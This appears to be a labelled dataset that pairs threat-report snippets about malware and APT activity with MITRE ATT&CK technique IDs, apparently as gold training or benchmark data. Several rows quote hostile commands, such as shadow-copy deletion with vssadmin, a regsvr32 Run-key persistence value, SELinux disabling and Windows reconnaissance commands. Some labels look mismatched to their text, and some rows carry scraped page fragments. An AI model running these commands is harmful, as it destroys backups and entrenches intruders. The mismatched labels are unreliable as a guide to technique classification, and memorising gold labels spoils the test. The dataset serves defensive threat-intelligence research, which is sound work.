commands executed by the command prompt: ECHO VER VER ECHO IPCONFIG /ALL IPCONFIG /ALL ECHO NET LOCALGROUP ADMINISTRATORS NET LOCALGROUP ADMINISTRATORS ECHO NET START NET START ECHO GPRESULT /Z GPRESULT /Z ECHO GPRESULT /SCOPE COMPUTER /Z GPRESULT /SCOPE COMPUTER /Z ECHO SYSTEMINFO SYSTEMINFO,['T1082 - System Information Discovery'],golden
"This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the /etc/selinux/config file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains",['T1562.001 - Impair Defenses: Disable or Modify Tools'],golden
"Designed to scrape both Track 1 and Track 2 payment card data, PUNCHTRACK is loaded and executed by a highly obfuscated launcher and is never saved to disk",['T1027 - Obfuscated Files or Information'],golden
"Ramsay will scan all the network shares and removable drives (excluding A: and B: drives usually reserved for floppy disks) for potential control files. First, Ramsay looks for Word documents and also, in more recent versions, for PDFs and ZIP archives",['T1135 - Network Share Discovery'],golden
"Successfully evicting TG-3390 from an environment requires a coordinated plan to remove all access points, including remote access tools and web shells. Within weeks of eviction, the threat actors attempt to access their ChinaChopper web shells from previously used IP addresses. CTU researchers discovered the threat actors searching for ""[company] login,"" which directed them to the landing page for remote access. After reestablishing access, the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used",['T1608.002 - Upload Tool'],golden
"This payload, (SHA256: 0282b7705f13f9d9811b722f8d7ef8fef907bee2ef00bf8ec89df5e7d96d81ff), which we are tracking as MechaFlounder, was developed in Python and bundled as a portable executable using the PyInstaller tool. This secondary payload acts as a backdoor allowing the operator to upload and download files, as well as run additional commands and applications on the compromised system",['T1105 - Ingress Tool Transfer'],golden
"A subset of victims was targeted with data collection executables that were designed to look for removable media (most likely USB flash drives). The implant routinely scans for such drives, specifically targeting removable media (return value of GetDriveType is 2). If found, the implant uses an embedded version of WinRAR to execute these hardcoded commands","['T1120 - Peripheral Device Discovery', 'T1120 - Peripheral Device Discovery']",golden
Each value of the config is written to the registry after encrypting them using the DES algorithm. A new registry key is created under HKEY_CURRENT_USER\Software\Classes\ using either the SystemProductName value from the HARDWARE\DESCRIPTION\System\BIOS key or the hardcoded string “68A-D3H-B1111 as a name,['T1112 - Modify Registry'],golden
"It seems that in most cases, the malware sends out data using DNS_TYPE_TEXT requests, while the attackers issue commands separately over the TCP channel with the IP address associated with the DGA-generated subdomain",['T1095 - Non-Application Layer Protocol'],golden
"On balance, the fall campaigns diverged from Bulgarian themed NetWire campaigns in the early summer in scope and scale. These campaigns distributed NetWire variants which used Bulgarian email lures, leveraged geofencing, and downloading EXEs through certutils. The low volume and tailored email lures suggest the actor put in effort to evade detection. The NetWire malware has been around since at least 2002 and has been consistently in use by various actors across the threat landscape. This analysis shows groupings of similar campaigns distributing NetWire based on message attributes, email lures and language, Office document metadata, VBA Macro code, and malware configuration",['T1204.002 - User Execution: Malicious File'],golden
"The OilRig campaign has repeatedly demonstrated a willingness and desire to be iterative in their toolset, while maintaining some level of similarities over time. In this scenario, we were able to directly observe this type of behavior, while also implement a tool thought to be previously unrelated to OilRig. With the inclusion of ISMAgent within the OilRig toolset, we are beginning to see stronger relationships between the various documented groups operating in the Middle East. This region has proven to be a hot bed of espionage motivated activity over the last couple of years, and there appear to be no signs of this changing. As our research continues, our goal will be to generate even better understandings of the true extent of the various operations in this region and the relationships between them",['T1059 - Command and Scripting Interpreter'],golden
"ACTINIUM’s operational infrastructure consists of many domains and hosts to facilitate payload staging and C2. In a single 30-day snapshot, MSTIC saw ACTINIUM utilizing over 25 new unique domains and over 80 unique IP addresses, demonstrating that they frequently modify or alter their infrastructure",['T1583.001 - Domains'],golden
"X-Session: 0""). Its presence on a compromised system allows a threat actor to execute a wide variety of commands, including uploading and downloading files, and spawning a reverse shell. DLL side loading is often used to maintain persistence on the compromised system. Its presence on a compromised system allows a threat actor to spawn a reverse shell, upload or download files, and capture keystrokes. Antivirus detection for HttpBrowser is extremely low and is typically based upon heuristic signatures. DLL side loading has been used to maintain persistence on the compromised system. More information about HttpBrowser is available in Appendix B. HttpBrowser URI. Source: Dell SecureWorks) - ChinaChopper web shell — A web-based executable script (see Figure 4) that allows a threat actor to execute commands on the compromised system",['T1105 - Ingress Tool Transfer'],golden
"The “.lnk” files being utilized by Mustang Panda typically contain an embedded HTA script that, once executed, will drop and open the decoy document while the malicious activity of the payload runs in the background. The final type of malicious document we observed were empty, and only contain an image, such as requesting for macros to be enabled, used to distract someone while malicious activity takes place in the background",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"With this knowledge, we aim to equip you to stop the WIZARD SPIDER and GRIM SPIDER threat actors well before they have an opportunity to encrypt your data or cause serious harm to your business",['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"Recipients who click this link are directed to a web page that looks identical or similar to the spoofed library resource. After the victims enter their credentials, their web browsers are redirected to the next.php file, where the credentials are stored locally in the pass.txt file. The victim's browser is then sent to the legitimate site being spoofed (see Figure 2",['T1598.003 - Spearphishing Link'],golden
"The contents of the README file, as well as the ransom message, are again specified in the config. The key requested by the attackers is a combination of the victim’s system information and generated encryption metadata (needed to derive the decryption keys for the files), AES encrypted and base64 encoded (see “File encryption” section for more details",['T1486 - Data Encrypted for Impact'],golden
"A request to upload data, which might include collected host data or retrieved files which were requested based on the attacker’s preferences",['T1005 - Data from Local System'],golden
"The campaigns maintain persistence on machines by creating two daily scheduled task entries. The code, meanwhile, is still controlled by the FIN7 actors and may be leveraged in future attacks by the group",['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
"FIN6 has traditionally conducted intrusions targeting payment card data from Point-of-Sale (POS) or eCommerce systems. Given that, FIN6 may have evolved as a whole to focus on these extortive intrusions. Which of those scenarios is happening would influence how pressing a threat the group’s card data breach tactics continue to be. Given that these intrusions have been sustained for almost a year, we expect that continued research into further intrusion attempts may enable us to more fully answer these questions regarding FIN6’s current status",['T1059 - Command and Scripting Interpreter'],golden
"To interact with its C2 server, Kazuar begins its communication by creating an HTTP GET request to use as a beacon. The beacon, generated by the code seen in Figure 5 contains a cookie that has an “AuthToken” value that is a base64 encoded GUID used to uniquely identify the compromised system. Kazuar refers to this GUID as an “agent” identifier",['T1132.001 - Data Encoding: Standard Encoding'],golden
"For all the fixed drives in the system, the network module stores the disk name and size, as well as computer and user name, Windows directory, host IP, etc. One interesting field is “vr”:”2.0″ which appears to be the malware version encoded in the communication protocol",['T1083 - File and Directory Discovery'],golden
Windows Credential Editor (WCE) — obtains passwords from memory - gsecdump — obtains passwords from memory - winrar — compresses data for exfiltration - nbtscan — scans NetBIOS name servers,['T1588.002 - Tool'],golden
FileName: Specified filename - PathToSave: Path to specified file - Execute: Create a process with the specified file - Delete: Delete the specified file - LoadLib: Load the specified DLL into the current process - ReadFile: Reads a specified the file - Rundll: Runs the specified DLL with a specified exported function - IP: Set C2 location - shell: Run additional code in a newly created thread,['T1070.004 - Indicator Removal on Host: File Deletion'],golden
"In attempt to overcome network filtering solutions, the attackers implemented a stealthier C2 communication method, using “DNS Tunneling” – a method of C2 communicating and data exfiltration using the DNS protocol",['T1071.004 - Application Layer Protocol: DNS'],golden
"Transparent Tribe uses a variety of themes in their lures that evolved over time. The group has leveraged generic themes, such as resumes and CVs, since early 2019. From 2019 and continuing into 2020, the attackers started using honeytrap-themed lures to trick targets into opening ZIP archives and maldocs that posed as pictures of women. These maldocs did not contain popular news topics, as seen in older campaigns, but instead masqueraded as logistical and operational documents for the Indian Armed Forces. But Transparent Tribe's attacks are not limited to only India. In one campaign, the attackers used an Iranian Ministry of Foreign Affairs (MOFA)-themed maldoc to distribute CrimsonRAT in mid-2019. Then, in mid- to late-2020, the attackers targeted diplomatic entities with RAR archives pretending to be related to the British High Commision in Islamabad, Pakistan. In mid-2020, we observed the first instance of conference attendees being targeted in the form of a CrimsonRAT maldoc masquerading as the agenda for an Afghani conference. However, since the start of this year, the group has increasingly used lures disguised as content from Indian government-sponsored conferences",['T1204.002 - User Execution: Malicious File'],golden
"Using previously stolen credentials the attacker logged into a domain controller and copied tools into the %TEMP% directory. Copied tools included AdFind.exe (Active Directory enumeration utility), a batch script (Figure 2), and a copy of the 7-Zip archive utility. AdFind.exe was executed using the previously noted batch script, which was crafted to pass the utility a series of commands that were used to collect information about Active Directory users, systems, OUs, subnets, groups, and trust objects. The output from each command was saved to an individual text file alongside the AdFind.exe utility (Figure 2). - This process was performed twice on the same domain controller, 10 hours apart. Between executions of Adfind the attacker tested access to multiple domain controllers in the victim environment, including the one later used to deploy Ryuk. The attacker logged into a domain controller and copied instances of PSExec.exe, a batch script used to kill processes and stop services, and an instance of Ryuk onto the system",['T1482 - Domain Trust Discovery'],golden
"Previously the Iron group developed and spread cryptocurrency miners or cryptocurrency transaction hijacking trojans mainly for Microsoft Windows and only a few for Linux. Instead, Xbash aimed on discovering unprotected services, deleting victim’s MySQL, PostgreSQL and MongoDB databases, and ransom for Bitcoins. Xbash uses three known vulnerabilities in Hadoop, Redis and ActiveMQ for self-propagation or infecting Windows system",['T1486 - Data Encrypted for Impact'],golden
The Bazar loader and Bazar backdoor are named after their use of EmerDNS blockchain domains. Using Bazar domains has been trending recently among cybercriminals because they are able to evade takedowns and sinkholing that disrupts botnet communications,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"All FakeM variants initiate communications with its C2 server and check the C2’s response for a command. Also, all FakeM variants share a common command handler with the same capabilities, as seen in Table 2. The limited command set suggests that FakeM’s functionality is obtained by additional assembly code provided by the C2 server with the 0x211 command","['T1083 - File and Directory Discovery', 'T1217 - Browser Bookmark Discovery', 'T1057 - Process Discovery']",golden
"The executable file is the Crimson “Thin Client”, which allows the attacker to gain basic information about the infected machine, collect screenshots, manipulate the file system and download or upload arbitrary files",['T1518.001 - Software Discovery: Security Software Discovery'],golden
"In this attack, the attackers exploit a misconfigured Docker API port to run an Ubuntu container with the kinsing malicious malware, which in turn runs a cryptominer and then attempts to spread the malware to other containers and hosts. Our analysis of this attack vector exposes the techniques used, starting with exploiting the open port, through evasion tactics and lateral movement, all the way up to the end-goal of deploying the cryptominer",['T1610 - Deploy a container'],golden
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ setting the key “bookstore” to the value “regsvr32 %path%\ctfmonrn.dll /s”, which ensures the malware runs every time at system boot","['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32']",golden
"The cybersecurity community has long known that any information technology tool that is used for legitimate purposes can also be manipulated by attackers to enhance their malware. Recently, however, many native Windows OS processes are being used for malicious purposes as well",['T1204.001 - Malicious Link'],golden
"The droppers and downloader family names tend to be fast-moving targets due to the heavy use of obfuscation and simple functionality. For example, PowerPunch is executed from within PowerShell as a one-line command, encoded using Base64",['T1105 - Ingress Tool Transfer'],golden
"Figure 2 - Data contained within the ""cookie:"" header of the initial traffic to the remote C2, being encrypted with RC6",['T1573.001 - Symmetric Cryptography'],golden
"The commands executed were used for discovery purposes, listing members of privileged groups and network information",['T1069 - Permission Groups Discovery'],golden
"Fake domains . Our latest Transparent Tribe research confirms that the group continues to create malicious domains mimicking defense-related entities as a core component of their operations. Security researchers previously discovered Transparent Tribe using sharingmymedia[.]com to host Android malware targeting Indian military and defense personnel.Figure 1: Maldoc masquerading as a congratulatory notice from CLAWS. For example, attackers leveraging ObliqueRAT started hosting their malicious payloads on compromised websites instead of embedding the malware in the maldoc. Malicious file-sharing domains . Transparent Tribe also regularly registers domains that appear to be legitimate file- and media-sharing services. Defense-themed lures . Transparent Tribe has historically used military and defense-themes in their phishing emails and maldocs to target Indian military and government personnel. HoneyTraps . Transparent Tribe consistently uses alluring documents and file names, commonly referred to as honeytraps, to trick victims into executing malicious content on their endpoints. Transparent Tribe also delivers malicious archives containing CrimsonRAT executables using various themes, including honeytraps. Transparent Tribe uses generically themed content-hosting domains as well as malicious domains masquerading as legitimate defense-related websites. 55: How Transparent Tribe could e. Threat Source newsletter (May 27, 2021) Elizabethan England has nothing on modern-day Russia Vulnerability Spotlight: Multiple vulnerabilities . Threat Roundup for May 14 to May 21 Talos Takes Ep. 55: How Transparent Tribe could e. - Threat Source newsletter (May 27, 2021) - Elizabethan England has nothing on modern-day Russia - Vulnerability Spotlight: Multiple vulnerabilities . - Threat Roundup for May 14 to May 21 - Talos Takes Ep",['T1204.001 - Malicious Link'],golden
The backdoor collects the victim’s MAC address using the GetAdaptersInfo API. These IDs are then passed to the C&amp;C server as one of the POST body parameters (MAC address is sent encrypted as discussed later,['T1016 - System Network Configuration Discovery'],golden
"The malware has been known to proliferate through network shares, removable drives, or software vulnerabilities. The recent instances we have observed were spread through emails with malicious links",['T1091 - Replication Through Removable Media'],golden
"KernelCallbackTable is initialized to an array of callback functions when user32.dll is loaded into memory, which are used whenever a graphical call (GDI) is made by the process. To hijack the control flow, malware replaces the USER32. Once the flow is hijacked and malicious code is executed the rest of the code takes care of restoring the KernelCallbackTable to its original state",['T1574.013 - KernelCallbackTable'],golden
"The payload created by the initial spear-phishing document loads the next stage as a backdoor running in-memory – the ThreatNeedle backdoor. The actor uses it to carry out initial reconnaissance and deploy additional malware for lateral movement. When moving laterally, the actor uses ThreatNeedle installer-type malware in the process. This installer is responsible for implanting the next stage loader-type malware and registering it for auto-execution in order to achieve persistence",['T1047 - Windows Management Instrumentation'],golden
"If the connection is successful, the following file name extensions are searched for within removable, fixed, or networked drives: doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z. Candidate files are queued up for upload. They are also inventoried via a specific MD5 hash value computed based on attributes of the target file and compromised host, such as the volume serial number, file size, and last write timestamp assigned to the file. Computed hashes are logged to an inventory log file that serves as a reference point checked by the malware to avoid duplicate exfiltration","['T1083 - File and Directory Discovery', 'T1135 - Network Share Discovery', 'T1120 - Peripheral Device Discovery']",golden
"The third set of URLs is used to download the Tor client. We believe the client is decrypted using the configuration serpent key [7]. When the Tor client is retrieved, the bot creates a registry key named “TorClient” in the registry subfolder to store its data. This subfolder is located in HKCU\\Software\AppDataLow\Software\Microsoft\{random guid}. This key contains the path to the client, which is dropped in the %TMP% folder, with a filename using the pattern [A-F0-9]{4}.bin","['T1027 - Obfuscated Files or Information', 'T1140 - Deobfuscate/Decode Files or Information']",golden
"LoudMiner is an unusual case of a persistent cryptocurrency miner, distributed for macOS and Windows since August 2018. It uses virtualization software – QEMU on macOS and VirtualBox on Windows – to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. The miner itself is based on XMRig (Monero) and uses a mining pool, thus it is impossible to retrace potential transactions","['T1496 - Resource Hijacking', 'T1564.006 - Run Virtual Instance']",golden
"The Anchor payload is delivered by AnchorInstaller AnchorInstaller unpacks the Anchor DLL and drops it in the %SYSTEMROOT% or %SYSTEMROOT%\System32 folder. The dropped DLL is loaded by the service netTcpSvc, which is created by the malware",['T1569.002 - System Services: Service Execution'],golden
Suspicious obfuscation or deobfuscation activity - Suspicious script execution - A script with suspicious content was observed - PowerShell dropped a suspicious file on the machine - Anomalous process executing encoded command - Suspicious dynamic link library loaded - An anomalous scheduled task was created - An uncommon file was created and added to a Run Key - Suspicious screen capture activity - Staging of sensitive data - Suspicious process transferring data to external network,['T1053.005 - Scheduled Task/Job: Scheduled Task'],golden
Most of the plugins included in this sample were obfuscated with Eazfuscater.NET 3.3 and easily deobfuscated using de4dot,['T1027 - Obfuscated Files or Information'],golden
"The second, which ran from September 20 to 21, used an exploit for CVE-2017-8759 (patched last September), a code injection/remote code execution vulnerability in Microsoft’s .NET Framework. The vulnerability was used to retrieve and execute Cobalt Strike from a remote server they controlled. We also saw other threat actors using the same security flaw of late, like the cyberespionage group ChessMaster",['T1203 - Exploitation for Client Execution'],golden
The malware sends an HTTP GET request to its C2 IP address using HTTP over port 443. Figure 8 shows the GET request sent over the network,['T1560.003 - Archive via Custom Method'],golden
"Collects system, network and drive information and installed applications, saves it to a file named “info” and sends it to the C2 using iexplorer.exe","['T1005 - Data from Local System', 'T1074.001 - Data Staged: Local Data Staging']",golden
"First, the threat actor used a compromised O365 administrator account to create a new Service Principal with a generic name. This Service Principal was granted company administrator privileges. From there, the threat actor added a credential to this Service Principal so that they could access the Service Principal directly, without use of an O365 user account","['T1098.003 - Account Manipulation: Additional Cloud Roles', 'T1078.004 - Valid Accounts: Cloud Accounts']",golden
"Usually comes as a DLL instead of an EXE file. By using the malware as a DLL, they can inject this module into a target process more easily than if they use an EXE sample of the malware",['T1055.001 - Process Injection: Dynamic-link Library Injection'],golden
"When the Trojan runs as an executable within the ""DsvHelper"" folder, the Trojan will create a shortcut (.lnk file) and save the shortcut to the 'DsvHelper' folder","['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",golden
Further the Avaddon ransomware deletes the volume shadow copies via wmic.exe SHADOWCOPY /nointeractive and vssadmin.exe Delete Shadows /All /Quiet,"['T1490 - Inhibit System Recovery', 'T1047 - Windows Management Instrumentation']",golden
"Listing running processes is also one of the capabilities of this malware and it stores that information in the 08.txt file, and this looks like the listing below",['T1057 - Process Discovery'],golden
"Analysis of several backdoors identified in this recent operation revealed that Turla has relied on traditional C&amp;C implementations, using compromised web servers as C&amp;C, as well as utilizing legitimate web services like Pastebin. Additionally, one analyzed sample of Kazuar is configured for commands sent through likely internal nodes in the government's network, while others use the more traditional method of external C&amp;C nodes",['T1102 - Web Service'],golden
"The screen capture utility appeared to be used for initial information gathering, as it was only used briefly at the beginning of each infection and not seen again. The information stealer was capable of stealing the contents of the clipboard, taking screenshots, recording keystrokes and stealing files and user credentials. After this initial activity, the attackers usually downloaded more of their tools to the computer using a PowerShell downloader and began moving across the victim’s network","['T1115 - Clipboard Data', 'T1113 - Screen Capture']",golden
For indicator removal on host: Timestomp the adversary uses a Windows version of the Linux touch command. This makes sure the used tools by the adversary blend in with the other files in the directory when shown in a timeline. Creating a timeline is a common thing to do for forensic analysts to get a chronological view of events on a system,['T1070.006 - Indicator Removal on Host: Timestomp'],golden
Persistence using autorun keys - • Keylogger - • Directory and file listing - • Downloading secondary payloads from the C2 server - • Exfiltrating collected information from the host to the C2 server - • Executing arbitrary commands via cmd.exe or PowerShell,['T1041 - Exfiltration Over C2 Channel'],golden
"Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES. However, they all used the same key ""agkrhfpdbvhdhrkj"". The loader's main goal was to run a PowerShell command to execute shellcode. We found the PowerShell command used by Fetch within the source code of Magic Unicorn, which was also used in the Magic Hound delivery documents. The shellcode executed by this PowerShell is the exact same as in the delivery documents, using code from Metasploit which can obtain additional shellcode to execute using an HTTP request to the following URL","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1027 - Obfuscated Files or Information']",golden
"Comparison between what malware is eventually used in active campaigns versus in-development malware allows us to understand what adaptations and modifications were made to each iteration of malware. Additionally, witnessing specific functionality changes within the malware itself, we attempt to make correlations between the new and old functionality. We were also able to gain insight into OilRig’s operational tempo by comparing the timestamps of files created during testing and the file delivered in an actual attack. We determined that OilRig began their testing activities 6 days prior to an attack, which ended 8 hours before the creation of the document that the actors delivered via a spear-phish email 20 minutes later","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell']",golden
"Sometimes the Winnti team registered their C&amp;C units with public hosts. Judging by the samples identified, these C&amp;C centers were subdomains of such domains as 6600.org, 8866.org, 9966.org or ddns.net",['T1583.001 - Domains'],golden
"The parameters for each command are issued in hexadecimal format. For instance, the character A would be represented by the two characters 41, which is the hexadecimal representation of that character. This hexadecimal format is used extensively throughout this Trojan. The run command (1) creates the process cmd.exe /c with the command parameters appended and will write the output of the command in hexadecimal format to the file %APPDATA%\tmpCa.vbs. The Trojan will then read the hexadecimal formatted contents of this file in 1500 byte blocks, sending each 1500 bytes of data from the file to the C2 server via an HTTP GET request to a URL with the following structure: http://&lt;c2 domain&gt;/resp. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(command prompt output)&gt; The upload command (2) writes data provided by the C2 to a specified file. hex(Environment.UserName/Environment.MachineName)&gt;AAZ&lt;hex(""File Uploaded"")&gt; The download command (3) reads the contents of a specified file and sends the data to the C2 server. If the file does not exist, the Trojan will send the C2 server a message &lt; File Not Found &gt; by sending the following URL: http://&lt;c2 domain&gt;/resp. The Trojan then gets the hexadecimal values of the compressed data and will replace the following hexadecimal values on each line with ASCII characters to further compressed the data",['T1132.001 - Data Encoding: Standard Encoding'],golden
"The script shown in Figure 4 is almost identical to the one used by the script contents of 29[.]html (in Figure 3), the only difference being the absence of a sleep command and the usage of the “forfiles” utility",['T1202 - Indirect Command Execution'],golden
"As does Crutch v3, it persists using DLL hijacking. However, in this case the host application is an old Microsoft Outlook component that is dropped on the compromised system by the operators",['T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking'],golden
"While observing the malware’s interaction with the second domain, lookplease.c1[.]biz, two text files were subsequently identified containing text encoded with the same custom base64 alphabet used previously. When decoded, these files were found to contain additional commands to be executed on the infected host",['T1027 - Obfuscated Files or Information'],golden
"The exact file downloaded depends on the victim's system architecture. We visited this IP and found it was an open HFS hosting ""0720.bin"" along with 10 additional files: ""3307.bin,"" ""a7,"" ""bashf,"" ""bashg,"" ""config.json,"" ""lowerv2.sh,"" ""pools.txt,"" ""r88.sh,"" ""rootv2.sh"" and ""TermsHost.exe. The script downloads a file from GitHub called ""libprocesshider,"" which hides a file called ""x7"" using the ID preloader. The file sets the mining pool as xmr[.]pool[.]MinerGate[.]com:45700 and the actor's wallet as rocke@live.cn. Lowerv2.sh"" and ""rootv2.sh"" are similar shell scripts that attempt to download and execute the mining malware components ""bashf"" and ""bashg,"" hosted on 118[.]24[.]150[.]172. If the shell scripts do not download a miner from 118[.]24[.]150[.]172, they attempt to download a file called ""XbashY"" from 3g2upl4pq6kufc4m[.]tk. This miner can be purchased online for $14 and targets malicious actors. The sample grabs the config file ""xmr.txt,"" which contains the same configuration information as the previous files, from Rocke's command and control (C2) server hosted on sydwzl[.]cn. The actor . Through Rocke's MinerGate Monero wallet email rocke@live.cn, we were able to uncover additional information about the actor. It appears that they are relying on fake Google Chrome alerts, fake apps, and fake Adobe Flash updates to social engineer users into downloading malicious payloads",['T1105 - Ingress Tool Transfer'],golden
Store the AES key/IV and other metadata of the target file in a memory block and encrypt it using an embedded public RSA key (See Appendix section for a detailed description of the memory block,['T1486 - Data Encrypted for Impact'],golden
"Egregor downloads custom dynamic link libraries (b.dll, q.dll, etc) using bitsadmin and execute them on victim’s systems to encrypt data",['T1197 - BITS Jobs'],golden
"This is done most likely to force a reboot or dupe the user into restarting the machine. Terminating csrss.exe and wininit.exe, for instance, will cause a blue screen of death (BSOD). Terminating winlogon.exe will prompt the user to log in again, while terminating lsass.exe will cause a reboot. KillDisk also uses the ExitWindowsEx function to forcefully restart the machine",['T1529 - System Shutdown/Reboot'],golden
NetWire is a publicly-available RAT that has been used by criminal organizations and other malicious groups since 2012,"['T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link', 'T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File', 'T1566.002 - Phishing: Spearphishing Link']",golden
"The ""rr.exe"" payload dropped to the system does nothing more than use the supplied command line arguments to create a registry key to execute the payload each time the system starts. In the example above, the ""spp.exe"" executable would be added to an auto-run registry key at",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],golden
"Turla has extensively used Carbon, a modular backdoor framework with advanced peer-to-peer capability, for several years. A June 2020 analyzed instance of the Carbon backdoor augmented the traditional threat actor-owned C&amp;C infrastructure with tasks served from Pastebin, a legitimate web service. The Carbon installer discovered by ACTI analysts dropped a Carbon Orchestrator, two communication modules, and an encrypted configuration file",['T1027 - Obfuscated Files or Information'],golden
"Given their capability and sophistication, it is unlikely that IRON RITUAL's intrusions will leave sufficient artifacts to allow researchers to associate their activities with previous or future Russian cyber espionage operations. The group has used malware including the SUNBURST (also known as Solorigate) backdoor and in-memory Cobalt Strike delivered using the TEARDROP and RAINDROP loaders",['T1484.002 - Domain Trust Modification'],golden
"FancyBear/APT28, a threat actor attributed to Russia GRU, has conducted several large credential phishing campaigns targeting ukr.net users, UkrNet is a Ukrainian media company. The phishing emails are sent from a large number of compromised accounts (non-Gmail/Google), and include links to attacker controlled domains","['T1598.003 - Spearphishing Link', 'T1586.002 - Email Accounts']",golden
"We have observed Netwalker ransomware attacks that involve malware that is not compiled, but written in PowerShell and executed directly in memory and without storing the actual ransomware binary into the disk",['T1059.001 - Command and Scripting Interpreter: PowerShell'],golden
"During our analysis, we observed this DDE downloading and executing a Zebrocy AutoIt downloader (f27836430…), configured to attempt to download an additional payload from 220.158.216[.]127. The DDE instructions also included another command that it did not run, which suggests it is an artifact of a prior version of this delivery document. The following shows this unused command, which exposed an additional server within Sofacy’s infrastructure would download and execute an encoded PowerShell script from 92.114.92[.]102",['T1105 - Ingress Tool Transfer'],golden
WildFire detects malware samples used by this campaign. An Autofocus tag has been created for tracking CobaltGang actor group,['T1059.003 - Command and Scripting Interpreter: Windows Command Shell'],golden
"The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications",['T1071.004 - Application Layer Protocol: DNS'],golden
Copy itself into “C:\ProgramData\Software\ESTsoft\Common” and rename itself as ESTCommon.dll to pretend it is a DLL that belongs to ESTsecurity company,['T1036.005 - Masquerading: Match Legitimate Name or Location'],golden
"The fifth-level subdomain is a data sequence number that allows the C2 server to reassemble the data, which will start with 1 and increment by 60 as the DNS tunneling protocol sends 60-bytes of encoded ciphertext within each DNS request. The fourth-level subdomain contains the 60-bytes of encoded ciphertext that RDAT sends to the C2, while the third- and second-level subdomains are the same as the beacon. In the above example, the AES key and IV would be tJ8ztJ8ztJ8ztJ8z, which would decrypt the third-level subdomain to the following cleartext","['T1573.001 - Symmetric Cryptography', 'T1001 - Data Obfuscation']",golden
"For each folder discovered, it will enter it and search for more subfolders and files. The first step is to check the name of the folder/file found against a hardcoded list of hashes with the same algorithm used to detect the processes to close",['T1083 - File and Directory Discovery'],golden
"read By Josh Grunzweig and Jen Miller-Osborn . November 10, 2017 at 1:00 PM . Category: Unit 42 . Tags: Reaver, SunOrcal . Summary Unit 42 has discovered a new malware family we’ve named “Reaver” with ties to attackers who use SunOrcal malware. Reaver is also somewhat unique in the fact that its final payload is in the form of a Control panel item, or CPL file. While we don’t have information on the intended targets in this case, previous reports on this activity have identified targeting primarily among the “Five Poisons” which are movements the Chinese government perceives as dangerous. Reaver Malware Analysis To date, Palo Alto Networks Unit 42 has identified 10 unique samples and three distinct variants of a new malware family we have named “Reaver”. As such, we identify each variant as Reaver.v1, Reaver.v2, and Reaver.v3. The flow for Reaver is as shown: Figure 1 Reaver execution flow diagram . Reaver.v1 The earliest variant of Reaver begins by attempting to enable the SeDebugPrivilege privilege for the running process. A shortcut file is generated in the following path: - %TEMP%\~Update.lnk This ‘~Update.lnk’ file is then copied to a filename of ‘Windows help.lnk’, which is placed in the startup path previously identified. It will specifically load this CPL file via a call to the built-in Microsoft Windows ‘control.exe’ utility. Data that is sent is compressed and then base64-encoded before being included in the requests. The following example Python code shows how this encryption takes place: After this data is exfiltrated, the malware expects 8 bytes of data that contains two DWORDs. AutoFocus customers can monitor activity using this malware with the following tags: Reaver SunOrcal - Reaver - SunOrcal Get updates from Palo Alto Networks",['T1082 - System Information Discovery'],golden
"To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points",['T1003.001 - OS Credential Dumping: LSASS Memory'],golden
"The oldest version of Bisonal we identified was compiled on Dec. The attacker created a Windows library (.dll) designed as a Windows service (ServiceMain() entry point). When executed, the malware uses the Windows API to communicate with the Service Control Manager (SCM) and finally execute a thread. The C2 server of this first Bisonal variant is young03[.]myfw[.]us (port 8888). We can notice the usage of a dynamic DNS service. This is a Bisonal pattern. Even the newest version we identified used this kind of service. In this campaign, the rollback was not used as it is configured to localhost. The communication to the C2 server is performed by using raw sockets: The first action of the malware is to send the hostname of the infected system and the ""kris0315"" string","['T1568 - Dynamic Resolution', 'T1106 - Native API']",golden
"The communication between SMOKEDHAM and its C2 server consists of JSON data exchanged via HTTP POST requests. The backdoor initiates requests to the C2 server and the C2 server may include commands to execute in the responses. The JSON data exchanged between SMOKEDHAM and its C2 server contains three fields: ID, UUID, and Data","['T1041 - Exfiltration Over C2 Channel', 'T1071.001 - Application Layer Protocol: Web Protocols']",golden
"As far as SPEAR could tell, all scripts were designed to be executed using Python v2.7. The group relied heavily on TLS-encrypted FTP using Python’s native ftplib library to transfer data out of target environments. The samples would also test connectivity to the C2 via HTTP requests using Python’s urllib library",['T1059.006 - Command and Scripting Interpreter: Python'],golden
"In this particular attack, we discovered that the C&amp;C server of EmailStealer had an open directory, allowing us to view the information that EmailStealer stole. We presume the information, primarily comprised of lists of email addresses, will be used in future attacks",['T1087.003 - Email Account'],golden
